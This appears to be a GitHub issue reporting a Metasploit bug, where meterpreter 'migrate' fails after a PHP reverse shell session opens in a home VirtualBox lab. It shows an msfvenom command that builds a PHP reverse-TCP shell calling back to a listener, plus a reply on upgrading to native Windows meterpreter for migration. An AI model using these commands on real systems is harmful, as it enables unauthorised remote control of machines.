Metasploit-framework: Error running command migrate: NoMethodError undefined method `pid' for nil:NilClass

[miholtz]

Steps to reproduce

m@m-VirtualBox:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=442 -f raw > 1.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1112 bytes

I created a simple reverse php shell with msfvenom.

Current behavior

Started a listener in msfconsole and meterpreter session is started so far so good :

msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.56:442 [*] Sending stage (38288 bytes) to 192.168.1.43 [*] Meterpreter session 2 opened (192.168.1.56:442 -> 192.168.1.43:49876) at 2019-10-12 07:30:46 +0200

But when i try to migrate to explorer.exe i get an error :

meterpreter > migrate 3488 [-] Error running command migrate: NoMethodError undefined methodpid' for nil:NilClass`

System stuff

First System is a virtual box with windows 10 (10.0.17763.805) running a webserver with php which hosts the revers_shell.php created with msfvenom.

Second machine is a virtual box running ubuntu 19.04 with metasploit (metasploit v5.0.54-dev-)

Metasploit version

metasploit v5.0.54-dev-

I installed Metasploit with:

Only windows native meterpreter (windows/meterpreter/reverse_tcp) supports migration. You might be able to upgrade from PHP meterpreter to native meterpreter with sessions -u ... or set windows/meterpreter/reverse_tcp as the payload instead of PHP.

Ok, thank you. Didn't know this, sorry for creating this issue. Can be closed.
